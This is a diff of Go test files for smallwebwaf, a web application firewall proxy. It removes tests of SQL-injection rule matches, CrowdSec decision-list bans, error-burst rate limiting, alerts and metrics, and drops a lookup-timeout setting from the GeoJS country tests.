wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const scraper = "192.0.2.200"
|
|
||||||
|
|
||||||
s, _, server := startWithClock(t, "", map[string]string{
|
|
||||||
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
|
|
||||||
})
|
|
||||||
|
|
||||||
for range 2 {
|
|
||||||
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The third refusal in a minute breaks the error burst, and bans the
|
|
||||||
// client.
|
|
||||||
line := s.request(client, sqlInjection, http.StatusForbidden,
|
|
||||||
requestlog.ActionWAFBlocked)
|
|
||||||
if line.LimitHit != requestlog.LimitHitErrorBurst ||
|
|
||||||
line.Offence != requestlog.OffenceLimit {
|
|
||||||
t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit",
|
|
||||||
line.LimitHit, line.Offence)
|
|
||||||
}
|
|
||||||
|
|
||||||
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
|
||||||
|
|
||||||
want := ratelimit.Offences{Limit: 1, WAFBlocked: 3}
|
|
||||||
if offences := historyOf(t, server, client).Offences; offences != want {
|
|
||||||
t.Errorf("history counts the offences %+v, want %+v", offences, want)
|
|
||||||
}
|
|
||||||
|
|
||||||
metrics := s.scrape(scraper)
|
|
||||||
wantMetric(t, metrics,
|
|
||||||
`smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
|
|
||||||
wantMetric(t, metrics,
|
|
||||||
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3)
|
|
||||||
wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+
|
|
||||||
`instance="app",status_class="4xx"}`, 3)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const scraper = "192.0.2.200"
|
|
||||||
|
|
||||||
s, _, server := startWithClock(t, "", map[string]string{
|
|
||||||
wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
|
|
||||||
})
|
|
||||||
|
|
||||||
for range 3 {
|
|
||||||
s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
||||||
}
|
|
||||||
|
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
|
||||||
|
|
||||||
offences := historyOf(t, server, client).Offences
|
|
||||||
if offences != (ratelimit.Offences{}) {
|
|
||||||
t.Errorf("history counts the offences %+v, want none", offences)
|
|
||||||
}
|
|
||||||
|
|
||||||
metrics := s.scrape(scraper)
|
|
||||||
wantMetric(t, metrics,
|
|
||||||
`smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
|
|
||||||
wantNoSeries(t, metrics,
|
|
||||||
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
|
|
||||||
|
|
||||||
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
||||||
wantWouldAction(t, line, requestlog.ActionWAFBlocked)
|
|
||||||
wantWAF(t, line, new(5), 942100)
|
|
||||||
|
|
||||||
// It is an offence as in enforce mode.
|
|
||||||
want := ratelimit.Offences{WAFBlocked: 1}
|
|
||||||
if offences := historyOf(t, server, client).Offences; offences != want {
|
|
||||||
t.Errorf("history counts the offences %+v, want %+v", offences, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
name string
|
|
||||||
env map[string]string
|
|
||||||
// status and action are what the request is answered and logged
|
|
||||||
// with, and alertMode what the alert's detail gives as mode, if
|
|
||||||
// anything.
|
|
||||||
status int
|
|
||||||
action, alertMode string
|
|
||||||
}{
|
|
||||||
{
|
|
||||||
"block", map[string]string{wafMode: block},
|
|
||||||
http.StatusForbidden, requestlog.ActionWAFBlocked, "",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"detect", map[string]string{wafMode: detect},
|
|
||||||
http.StatusOK, requestlog.ActionForward, detect,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"block in observe mode", map[string]string{wafMode: block, mode: observe},
|
|
||||||
http.StatusOK, requestlog.ActionForward, observe,
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, clk, _, queue := startWithAlerts(t, tc.env)
|
|
||||||
|
|
||||||
// The second is a repeat, which the cooldown holds back, and an
|
|
||||||
// ordinary request raises none.
|
|
||||||
for range 2 {
|
|
||||||
s.request(client, sqlInjection, tc.status, tc.action)
|
|
||||||
}
|
|
||||||
|
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
|
||||||
|
|
||||||
detail := map[string]any{
|
|
||||||
"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
|
|
||||||
"path": sqlInjection,
|
|
||||||
}
|
|
||||||
if tc.alertMode != "" {
|
|
||||||
detail["mode"] = tc.alertMode
|
|
||||||
}
|
|
||||||
|
|
||||||
wantAlerts(t, queue, alerts.Alert{
|
|
||||||
Instance: alertInstance,
|
|
||||||
Time: clk.Now(),
|
|
||||||
Event: alerts.EventWAFBlock,
|
|
||||||
Client: netip.MustParseAddr(client),
|
|
||||||
Netblock: netip.MustParsePrefix(client + "/32"),
|
|
||||||
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
|
|
||||||
Detail: detail,
|
|
||||||
})
|
|
||||||
|
|
||||||
if queue.Suppressed() != 1 {
|
|
||||||
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -52,7 +52,7 @@ func TestCountryLists(t *testing.T) {
|
|||||||
calls.Add(1)
|
calls.Add(1)
|
||||||
})
|
})
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
|
env := map[string]string{trustedProxies: trustLocalhost}
|
||||||
maps.Copy(env, tc.env)
|
maps.Copy(env, tc.env)
|
||||||
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
|
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
|
||||||
|
|
||||||
@@ -101,7 +101,6 @@ func TestCountryRefusalComesBeforeTheBody(t *testing.T) {
|
|||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
|
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
|
||||||
trustedProxies: trustLocalhost,
|
trustedProxies: trustLocalhost,
|
||||||
lookupTimeout: "1h",
|
|
||||||
deniedCountries: "kp",
|
deniedCountries: "kp",
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -148,7 +147,6 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
|
|||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||||
addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
|
addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
|
||||||
trustedProxies: trustLocalhost,
|
trustedProxies: trustLocalhost,
|
||||||
lookupTimeout: "1h",
|
|
||||||
allowedCountries: "de",
|
allowedCountries: "de",
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
})
|
})
|
||||||
@@ -196,7 +194,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
|
|||||||
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||||
geojsURL, asked := startGeoJS(t)
|
geojsURL, asked := startGeoJS(t)
|
||||||
env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
|
env := map[string]string{trustedProxies: trustLocalhost}
|
||||||
maps.Copy(env, tc.env)
|
maps.Copy(env, tc.env)
|
||||||
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
|
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
|
||||||
|
|
||||||
@@ -282,11 +280,7 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
|
|||||||
|
|
||||||
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
|
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
|
||||||
// each in an AS of its own, and no other address. It returns its URL, and
|
// each in an AS of its own, and no other address. It returns its URL, and
|
||||||
// what returns the addresses it has been asked about. A test that needs
|
// what returns the addresses it has been asked about.
|
||||||
// the stand-in to be asked or to answer sets SWWAF_LOOKUP_TIMEOUT to an
|
|
||||||
// hour, whether or not a request waits for the answer: on the default
|
|
||||||
// second, a hold-up of the test process can abandon the request to the
|
|
||||||
// stand-in, and leave the client unknown.
|
|
||||||
func startGeoJS(t *testing.T) (string, func() []string) {
|
func startGeoJS(t *testing.T) (string, func() []string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
|
|||||||
@@ -1,181 +0,0 @@
|
|||||||
package proxy_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"net/http"
|
|
||||||
"net/netip"
|
|
||||||
"reflect"
|
|
||||||
"testing"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/proxy"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
|
||||||
)
|
|
||||||
|
|
||||||
// The CrowdSec settings, and the tests' engine, which is never asked: each
|
|
||||||
// test puts in the copy of its decision list, at decisionsURL, that it
|
|
||||||
// needs, as reputation.json would at start.
|
|
||||||
const (
|
|
||||||
crowdSecURL = "SWWAF_CROWDSEC_LAPI_URL"
|
|
||||||
crowdSecKey = "SWWAF_CROWDSEC_LAPI_KEY"
|
|
||||||
lapi = "http://crowdsec.example:8080"
|
|
||||||
decisionsURL = lapi + "/v1/decisions"
|
|
||||||
bouncerKey = "crowdsec-key-0123456789abcdef"
|
|
||||||
)
|
|
||||||
|
|
||||||
func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
|
||||||
crowdSecURL: lapi, crowdSecKey: bouncerKey, metricsToken: token,
|
|
||||||
})
|
|
||||||
// client had four hours left on its decision as the engine answered.
|
|
||||||
fetched := clk.Now()
|
|
||||||
loadDecisions(t, server, fetched, `[{"duration": "4h0m0s", `+
|
|
||||||
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
|
|
||||||
`"value": "`+client+`"}]`)
|
|
||||||
expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
|
|
||||||
|
|
||||||
// Its first request is refused, and bans it until the decision ends.
|
|
||||||
line := s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
|
||||||
wantReputation(t, line, decisionsURL)
|
|
||||||
|
|
||||||
if line.BanExpires != expires {
|
|
||||||
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
|
|
||||||
}
|
|
||||||
|
|
||||||
listed := []bans.ReputationHit{{Source: decisionsURL}}
|
|
||||||
|
|
||||||
held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
|
|
||||||
if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
|
|
||||||
!held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
|
|
||||||
held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
|
|
||||||
!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
|
|
||||||
held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
|
|
||||||
t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+
|
|
||||||
"the request in its notes", held)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The listing raises a reputation_hit alert, and the ban its own.
|
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
|
||||||
if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
|
|
||||||
waiting[0].Reason != "listed by the CrowdSec decision list" ||
|
|
||||||
!reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0],
|
|
||||||
expires)) {
|
|
||||||
t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's",
|
|
||||||
waiting)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Each request while the ban lasts is refused under it, as under any
|
|
||||||
// ban, and once it has ended the client is let through.
|
|
||||||
clk.advance(4*time.Hour - time.Second)
|
|
||||||
|
|
||||||
line = s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
|
||||||
wantReputation(t, line)
|
|
||||||
|
|
||||||
if line.BanExpires != expires {
|
|
||||||
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
|
|
||||||
}
|
|
||||||
|
|
||||||
clk.advance(time.Second)
|
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
|
||||||
|
|
||||||
// The ban and the hit are counted, and the list has the metrics of any
|
|
||||||
// list fetched from a URL.
|
|
||||||
metrics := s.scrape(unplaced)
|
|
||||||
labels := `{instance="` + alertInstance + `",source="` + decisionsURL + `"}`
|
|
||||||
|
|
||||||
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="crowdsec",`+
|
|
||||||
`instance="`+alertInstance+`"}`, 1)
|
|
||||||
wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, 1)
|
|
||||||
wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0)
|
|
||||||
wantMetric(t, metrics, "smallwebwaf_reputation_last_fetch_timestamp_seconds"+labels,
|
|
||||||
float64(fetched.Unix()))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, clk, server := startWithClock(t, "", map[string]string{
|
|
||||||
crowdSecURL: lapi, crowdSecKey: bouncerKey,
|
|
||||||
})
|
|
||||||
// 198.51.100.0/24 and 2001:db8::9 had a minute left as the engine
|
|
||||||
// answered.
|
|
||||||
fetched := clk.Now()
|
|
||||||
loadDecisions(t, server, fetched, `[{"duration": "1m0s", `+
|
|
||||||
`"scenario": "crowdsecurity/http-probing", "scope": "Range", "type": "ban", `+
|
|
||||||
`"value": "198.51.100.0/24"}, {"duration": "1m0s", `+
|
|
||||||
`"scenario": "crowdsecurity/http-probing", "scope": "Ip", "type": "ban", `+
|
|
||||||
`"value": "2001:db8::9"}]`)
|
|
||||||
|
|
||||||
// Just before its end, the decision bans a client in the netblock, and
|
|
||||||
// one on an IPv6 address bans the address's group, the /64.
|
|
||||||
clk.advance(time.Minute - time.Nanosecond)
|
|
||||||
s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionBanned)
|
|
||||||
s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionBanned)
|
|
||||||
s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionBanned)
|
|
||||||
|
|
||||||
// Once it has ended, it bans no other client, and the bans it made end
|
|
||||||
// with it.
|
|
||||||
clk.advance(time.Nanosecond)
|
|
||||||
|
|
||||||
for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
|
|
||||||
wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward))
|
|
||||||
}
|
|
||||||
|
|
||||||
if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
|
|
||||||
t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
|
|
||||||
"2001:db8::/64", made)
|
|
||||||
}
|
|
||||||
|
|
||||||
if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 {
|
|
||||||
t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
|
||||||
crowdSecURL: lapi, crowdSecKey: bouncerKey, mode: observe,
|
|
||||||
})
|
|
||||||
loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
|
|
||||||
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
|
|
||||||
`"value": "`+client+`"}]`)
|
|
||||||
|
|
||||||
line := s.get(client, http.StatusOK, requestlog.ActionForward)
|
|
||||||
wantWouldAction(t, line, requestlog.ActionBanned)
|
|
||||||
wantReputation(t, line, decisionsURL)
|
|
||||||
|
|
||||||
if held := server.Ledger.Snapshot(); len(held) != 0 {
|
|
||||||
t.Errorf("bans %+v, want none", held)
|
|
||||||
}
|
|
||||||
|
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
|
||||||
if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
|
|
||||||
waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
|
|
||||||
waiting[1].Detail["mode"] != observe {
|
|
||||||
t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
|
|
||||||
"marked observe", waiting)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// loadDecisions puts into server's lists the copy of the decision list at
|
|
||||||
// decisionsURL, answer, the engine's answer, fetched at fetched, as
|
|
||||||
// reputation.json would at start.
|
|
||||||
func loadDecisions(
|
|
||||||
t *testing.T, server *proxy.Server, fetched time.Time, answer string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
err := server.Lists.Load([]reputation.List{{
|
|
||||||
URL: decisionsURL, Tried: fetched, Fetched: fetched, Lines: []string{answer},
|
|
||||||
}})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("load the decision list: %v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,395 +0,0 @@
|
|||||||
package proxy_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"maps"
|
|
||||||
"net/http"
|
|
||||||
"net/netip"
|
|
||||||
"reflect"
|
|
||||||
"testing"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/proxy"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
|
||||||
)
|
|
||||||
|
|
||||||
const errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
|
|
||||||
|
|
||||||
// refused is a request the tests here send, which smallwebwaf refuses
|
|
||||||
// after a rule file match, or for a missing or wrong token.
|
|
||||||
type refused int
|
|
||||||
|
|
||||||
const (
|
|
||||||
// blockRule is a request testRules' block rule refuses with 403.
|
|
||||||
blockRule refused = iota
|
|
||||||
// banRule is one its ban rule refuses with 403, and bans the client
|
|
||||||
// for.
|
|
||||||
banRule
|
|
||||||
// noMetricsToken is one for the metrics without a token, and
|
|
||||||
// wrongAdminToken one for the bans with the metrics token, each
|
|
||||||
// refused with 401.
|
|
||||||
noMetricsToken
|
|
||||||
wrongAdminToken
|
|
||||||
)
|
|
||||||
|
|
||||||
// send sends r from the client at from, checks its answer and log line as
|
|
||||||
// sender.request does, and returns the line.
|
|
||||||
func (r refused) send(s *sender, from string) logLine {
|
|
||||||
s.t.Helper()
|
|
||||||
|
|
||||||
switch r {
|
|
||||||
case blockRule:
|
|
||||||
return s.request(from, blockedPath, http.StatusForbidden,
|
|
||||||
requestlog.ActionRuleBlocked)
|
|
||||||
case banRule:
|
|
||||||
return s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned)
|
|
||||||
case noMetricsToken:
|
|
||||||
return s.request(from, proxy.MetricsPath, http.StatusUnauthorized,
|
|
||||||
requestlog.ActionAdmin)
|
|
||||||
case wrongAdminToken:
|
|
||||||
line, _ := s.requestWithHeader(from, proxy.BansPath, "Authorization: "+bearer,
|
|
||||||
http.StatusUnauthorized, requestlog.ActionAdmin)
|
|
||||||
|
|
||||||
return line
|
|
||||||
}
|
|
||||||
|
|
||||||
s.t.Fatalf("no request for the refusal %d", r)
|
|
||||||
|
|
||||||
return logLine{}
|
|
||||||
}
|
|
||||||
|
|
||||||
// startForErrorBurst is startWithClock with testRules, both tokens and
|
|
||||||
// SWWAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
|
|
||||||
func startForErrorBurst(
|
|
||||||
t *testing.T, threshold string, env map[string]string,
|
|
||||||
) (*sender, *clock, *proxy.Server) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
settings := map[string]string{
|
|
||||||
errorBurstThreshold: threshold,
|
|
||||||
rulesDir: writeRules(t, testRules),
|
|
||||||
adminToken: adminSecret,
|
|
||||||
metricsToken: token,
|
|
||||||
}
|
|
||||||
maps.Copy(settings, env)
|
|
||||||
|
|
||||||
return startWithClock(t, "", settings)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
name string
|
|
||||||
// refusals are four, one over the threshold of three.
|
|
||||||
refusals []refused
|
|
||||||
}{
|
|
||||||
{"block rule", []refused{blockRule, blockRule, blockRule, blockRule}},
|
|
||||||
{
|
|
||||||
"missing or wrong token",
|
|
||||||
[]refused{noMetricsToken, wrongAdminToken, noMetricsToken, wrongAdminToken},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a mix ending in a ban rule",
|
|
||||||
[]refused{blockRule, noMetricsToken, blockRule, banRule},
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, _, _ := startForErrorBurst(t, "3", nil)
|
|
||||||
|
|
||||||
// Three refusals break nothing, and the app's answers between
|
|
||||||
// them are not counted.
|
|
||||||
for i, r := range tc.refusals[:3] {
|
|
||||||
line := r.send(s, client)
|
|
||||||
if line.LimitHit != "" || line.Offence != "" {
|
|
||||||
t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+
|
|
||||||
"want none", i+1, line.LimitHit, line.Offence)
|
|
||||||
}
|
|
||||||
|
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The fourth is answered as the others were, breaks the error
|
|
||||||
// burst, and bans the client.
|
|
||||||
line := tc.refusals[3].send(s, client)
|
|
||||||
if line.LimitHit != requestlog.LimitHitErrorBurst ||
|
|
||||||
line.Offence != requestlog.OffenceLimit {
|
|
||||||
t.Errorf("log line has limit_hit %q and offence %q, want error_burst "+
|
|
||||||
"and limit", line.LimitHit, line.Offence)
|
|
||||||
}
|
|
||||||
|
|
||||||
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const scraper = "192.0.2.200"
|
|
||||||
|
|
||||||
s, clk, server := startForErrorBurst(t, "2", nil)
|
|
||||||
start := clk.Now()
|
|
||||||
|
|
||||||
blockRule.send(s, client)
|
|
||||||
wrongAdminToken.send(s, client)
|
|
||||||
line := blockRule.send(s, client)
|
|
||||||
|
|
||||||
expires := start.Add(time.Hour)
|
|
||||||
if line.BanExpires != requestlog.FormatTime(expires) {
|
|
||||||
t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
|
|
||||||
}
|
|
||||||
|
|
||||||
netblock := netip.MustParsePrefix(client + "/32")
|
|
||||||
want := bans.Ban{
|
|
||||||
Netblock: netblock,
|
|
||||||
Start: start,
|
|
||||||
Expires: expires,
|
|
||||||
Cause: bans.CauseLimit,
|
|
||||||
Reason: "refusals per minute over the limit of 2",
|
|
||||||
Notes: bans.Notes{
|
|
||||||
Kind: ratelimit.KindRefusals,
|
|
||||||
Limit: 2,
|
|
||||||
Window: minute,
|
|
||||||
Count: 3,
|
|
||||||
Request: bans.Request{
|
|
||||||
Time: start,
|
|
||||||
Method: http.MethodGet,
|
|
||||||
Host: appHost,
|
|
||||||
Path: blockedPath,
|
|
||||||
Status: http.StatusForbidden,
|
|
||||||
UserAgent: userAgent,
|
|
||||||
},
|
|
||||||
Requests: 3,
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
got := server.Ledger.Bans(netblock)
|
|
||||||
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
|
|
||||||
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantOffences := ratelimit.Offences{Limit: 1, RuleBlocked: 2, TokenRefused: 1}
|
|
||||||
if offences := historyOf(t, server, client).Offences; offences != wantOffences {
|
|
||||||
t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
|
|
||||||
}
|
|
||||||
|
|
||||||
metrics := s.scrape(scraper)
|
|
||||||
wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
|
|
||||||
`kind="refusals",window="minute"}`, 1)
|
|
||||||
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1)
|
|
||||||
wantMetric(t, metrics,
|
|
||||||
`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 2)
|
|
||||||
wantMetric(t, metrics,
|
|
||||||
`smallwebwaf_offences_total{instance="app",kind="token_refused"}`, 1)
|
|
||||||
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
|
||||||
s, _, server := startWithClock(t, geojsURL, map[string]string{
|
|
||||||
lookupTimeout: "1h",
|
|
||||||
errorBurstThreshold: "2",
|
|
||||||
rulesDir: writeRules(t, testRules),
|
|
||||||
countryLimitPercent: countryDEHalf,
|
|
||||||
})
|
|
||||||
|
|
||||||
// Half of the threshold would be one, which the second refusal is over.
|
|
||||||
for range 2 {
|
|
||||||
line := blockRule.send(s, fromDE)
|
|
||||||
if line.LimitHit != "" {
|
|
||||||
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
blockRule.send(s, fromDE)
|
|
||||||
|
|
||||||
got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
|
|
||||||
if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil {
|
|
||||||
t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
statuses := map[string]int{
|
|
||||||
"/missing": http.StatusNotFound,
|
|
||||||
"/private": http.StatusUnauthorized,
|
|
||||||
"/forbidden": http.StatusForbidden,
|
|
||||||
}
|
|
||||||
s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) {
|
|
||||||
w.WriteHeader(statuses[r.URL.Path])
|
|
||||||
}, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)})
|
|
||||||
|
|
||||||
for range 2 {
|
|
||||||
for path, status := range statuses {
|
|
||||||
s.request(client, path, status, requestlog.ActionForward)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// The first refusal is one, not over the threshold.
|
|
||||||
line := blockRule.send(s, client)
|
|
||||||
if line.LimitHit != "" {
|
|
||||||
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
|
|
||||||
}
|
|
||||||
|
|
||||||
// No ban was made, nor its alert raised.
|
|
||||||
s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward)
|
|
||||||
wantAlerts(t, queue)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
